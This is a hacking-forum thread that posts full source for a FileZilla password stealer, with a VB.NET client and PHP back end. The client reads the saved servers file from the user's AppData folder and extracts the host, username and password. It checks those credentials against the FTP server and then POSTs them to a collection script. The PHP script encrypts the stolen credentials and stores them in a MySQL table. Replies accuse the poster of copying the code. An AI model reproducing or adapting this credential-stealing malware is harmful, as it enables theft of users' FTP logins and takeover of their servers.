Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Filezilla Password Stealer[PHP & VB.NET] SOURCE

I have been busy for several weeks and when i got bored after so long time. i tried to integrate vb.net with php. here is the unfinished result. it works but its not complete yet.
but just wanted to share with you guys. hope you guys can come up with better ideas.
👍
credits:
https://hackforums.net/showthread.php?tid=2168900

VB.NET code
PHP Code

<?php 
Imports System
.Net
Imports System
.Text
Imports System
.IO

Public Class Form1

    
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  getfilezilla
()

    
End Sub
    Sub getfilezilla
()
  
Dim XMLDOC As New System.Xml.XmlDocument
  Dim MyPath 
As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\FileZilla\recentservers.xml"
  
XMLDOC.Load(MyPath)
  
Dim XMLPath As Xml.XmlElement
  XMLPath 
= XMLDOC.SelectSingleNode("//Server")
  
Dim host As String
  Dim port 
As String
  Dim user 
As String
  Dim pass 
As String

  Dim Servers 
As Integer
  Servers 
= XMLDOC.GetElementsByTagName("Server").Count
  Dim i 
As Integer = 0
  Dim Output 
As String = ""
  
Try
    Do 
Until i = Servers
    i 
+= 1
    Output 
+= _
    
"Server: " & i & Environment.NewLine & _
    
"   Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _
    
"   Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _
    
"   User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _
    
"   Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine
    host 
= XMLPath.Item("Host").InnerText
    port 
= XMLPath.Item("Port").InnerText
    user 
= XMLPath.Item("User").InnerText
    pass 
= XMLPath.Item("Pass").InnerText
    test
(host, user, pass)

    If 
i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling

    Loop

  
Catch ex As Exception

  End 
Try
    
End Sub
    Sub test
(ByVal host, ByVal user, ByVal pass)
  
Dim request = _
DirectCast
(WebRequest.Create _
("ftp://" & host), FtpWebRequest)

  
request.Credentials = _
  
New NetworkCredential(user.ToString, pass.ToString)

  
request.Method = WebRequestMethods.Ftp.ListDirectory

  Using response 
As FtpWebResponse = _
  DirectCast
(request.GetResponse(), FtpWebResponse)

    
post(host, user, pass)

  
End Using

    End Sub

    Sub post
(ByVal host, ByVal user, ByVal pass)

  
Dim websiteurl As String
  websiteurl 
= "http://localhost/test/index.php"
  
Dim postData = "host=" & host & "&" & "user=" & user & "&" & "pass=" & pass
  Dim request 
As WebRequest = WebRequest.Create(websiteurl)
  
request.Method = "POST"

  
Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
  
request.ContentType = "application/x-www-form-urlencoded"
  
request.ContentLength = byteArray.Length

  Dim dataStream 
As Stream = request.GetRequestStream()
  
dataStream.Write(byteArray, 0, byteArray.Length)
  
dataStream.Close()
  
MsgBox("Done")
    
End Sub
End 
Class 
PHP CODE - db.php
PHP Code

<?php

$hostname 
= "localhost";
$username = "root";
$password = "";

try {
    
$conn = new PDO("mysql:host=$hostname;dbname=brain", $username, $password);
    }
catch(
PDOException $e)
    {
    echo 
$e->getMessage();
    }

    
?>
PHP CODE - index.php
PHP Code

<?php
include("db.php");
define("ENCRYPTION_KEY", "!$#)(@#$%%%^^^%&(&!@$#$%)&*)(*&^^&$@#%^$%^&^&*");

echo 
$encrypted = encrypt($string, ENCRYPTION_KEY);
echo 
"<br />";
echo 
$decrypted = decrypt($encrypted, ENCRYPTION_KEY);

/**
 * Returns an encrypted & utf8-encoded
 */
function encrypt($sValue, $sSecretKey)
{
    return 
rtrim(
  
base64_encode(
    
mcrypt_encrypt(
    
MCRYPT_RIJNDAEL_256,
    
$sSecretKey, $sValue, 
    
MCRYPT_MODE_ECB, 
    
mcrypt_create_iv(
    
mcrypt_get_iv_size(
    
MCRYPT_RIJNDAEL_256, 
    
MCRYPT_MODE_ECB
    
), 
    
MCRYPT_RAND)
    )
    ), 
"\0"
  
);
}

function 
decrypt($sValue, $sSecretKey)
{
    return 
rtrim(
  
mcrypt_decrypt(
    
MCRYPT_RIJNDAEL_256, 
    
$sSecretKey, 
    
base64_decode($sValue), 
    
MCRYPT_MODE_ECB,
    
mcrypt_create_iv(
    
mcrypt_get_iv_size(
    
MCRYPT_RIJNDAEL_256,
    
MCRYPT_MODE_ECB
    
), 
    
MCRYPT_RAND
    
)
  ), 
"\0"
    
);
}

if (isset(
$_POST['host'],$_POST['user'],$_POST['pass']))
{
$host = encrypt($_POST['host'],ENCRYPTION_KEY);
$user = encrypt($_POST['user'],ENCRYPTION_KEY);
$pass = encrypt($_POST['pass'],ENCRYPTION_KEY);

$sqlinsert = "INSERT INTO filezilla (host,user,pass) VALUES (:host,:user,:pass)";
$q = $conn->prepare($sqlinsert);
$q->execute(array(':host'=>$host,
        
':user'=>$user,
            
':pass'=>$pass));
}

?>
Give some credits. You didn't write this yourself at all.

https://hackforums.net/showthread.php?tid=2168900
http://ljuska.org/viewtopic.php?t=15304&p=112906
(Oct 27, 2013 12:28 PM)tweety Wrote:  Give some credits. You didn't write this yourself at all.

https://hackforums.net/showthread.php?tid=2168900
http://ljuska.org/viewtopic.php?t=15304&p=112906

I love when these posts get 'caught'.
It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)
(Oct 29, 2013 09:19 PM)Vexane Wrote:  I love when these posts get 'caught'.
It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)

Makes post about people using Google, doesn't use Google..

;)
Stop trolling spam threads copy/paste.
[Image: spoofer-network-banner.gif]
(Oct 29, 2013 09:23 PM)ChewBox Wrote:  Makes post about people using Google, doesn't use Google..

;)

HAHA !
This made me lol ;p

[color=#33][/color]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Robert RougeSep 24, 2026 10:02 AM 4 217 Sep 24, 2026 10:02 AM
Last Post: Anonynuk
[C#] by notahackermanJun 19, 2020 08:08 AM 18 752 Jun 19, 2020 08:08 AM
Last Post: hugin
[C#] by notahackermanApr 22, 2020 06:54 AM 0 198 Apr 22, 2020 06:54 AM
Last Post: notahackerman